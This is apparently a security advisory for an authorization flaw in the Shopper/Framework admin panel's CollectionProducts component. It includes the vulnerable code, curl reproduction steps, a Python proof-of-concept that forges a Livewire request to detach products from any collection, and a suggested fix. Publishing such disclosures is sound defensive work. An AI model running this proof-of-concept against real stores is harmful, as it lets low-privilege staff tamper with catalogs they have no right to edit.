PT-2026-90541 · Packagist · Shopper/Framework
CVE-2026-56825
·
Published
2026-09-11
·
Updated
2026-09-11
CVSS v3.1
8.1
High
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H |
Title
Missing authorization on product removal actions in CollectionProducts component
Description
A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse collections, can detach individual products or bulk-detach all products from any collection in the database.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
php
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;
// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
Action::make('delete')
->label( ('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->iconButton()
->color('danger')
->requiresConfirmation()
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
$this->dispatch('collection.add.product');
Notification::make()
->title( ('shopper::pages/collections.remove product'))
->success()
->send();
}),
])
// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
DeleteBulkAction::make()
->label( ('shopper::forms.actions.delete'))
->icon(Untitledui::Trash03)
->requiresConfirmation()
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
$this->dispatch('collection.add.product');
Notification::make()
->title( ('shopper::pages/collections.remove product'))
->success()
->send();
})
->deselectRecordsAfterCompletion(),
])Steps to reproduce
Prerequisites: any admin-panel account, including one whose role holds only
browse collections (no edit collections required).bash
SESSION="laravel session=<your session value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"
# Step 1: Note the collection ID you wish to empty (e.g., collection id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
# substituting collection ID 5 in the component state.
curl -s -X POST http://localhost/shopper/livewire/update
-H "Content-Type: application/json"
-H "X-XSRF-TOKEN: $XSRF"
-H "Cookie: $SESSION"
-H "X-Livewire: 1"
-d '{
"components": [{
"snapshot": "{"id":"COLLECTION PRODUCTS COMPONENT ID","data":{"collection":5},"checksum":"..."}",
"updates": {},
"calls": [{
"path": "",
"method": "callBulkAction",
"params": ["delete", [1, 2, 3, 4, 5]]
}]
}]
}'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
# regardless of the caller having only browse collections.Proof of concept
python
#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.
Set these environment variables before running:
BASE URL e.g. http://localhost
SESSION COOKIE value of the laravel session cookie
XSRF TOKEN URL-decoded value of the XSRF-TOKEN cookie
COMPONENT ID Livewire component snapshot ID (from page source)
COLLECTION ID integer ID of the target collection
PRODUCT IDS comma-separated product IDs to detach (e.g. "1,2,3")
"""
import json
import os
import requests
base url = os.environ['BASE URL']
session = os.environ['SESSION COOKIE']
xsrf = os.environ['XSRF TOKEN']
component id = os.environ['COMPONENT ID']
collection id = int(os.environ['COLLECTION ID'])
product ids = [int(x) for x in os.environ['PRODUCT IDS'].split(',')]
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel session={session}',
'X-Livewire': '1',
}
snapshot = json.dumps({
'id': component id,
'data': {'collection': collection id},
'checksum': 'UNLOCKED PROP NO CHECKSUM NEEDED',
})
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{
'path': '',
'method': 'callBulkAction',
'params': ['delete', product ids],
}]
}]
}
r = requests.post(f'{base url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status code}')
print(r.text[:500])Impact
A staff member holding only
browse collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.Suggested fix
php
// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php
use LivewireAttributesLocked;
#[Locked] // prevent client-side ID substitution
public Collection $collection;
// Per-record action:
Action::make('delete')
->authorize('edit collections') // add this
->action(function (Product $record): void {
$this->collection->products()->detach([$record->id]);
// ...
}),
// Bulk action:
DeleteBulkAction::make()
->authorize('edit collections') // add this
->action(function (EloquentCollection $records): void {
$this->collection->products()->detach($records->pluck('id')->toArray());
// ...
})Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Fix
Missing Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Shopper/Framework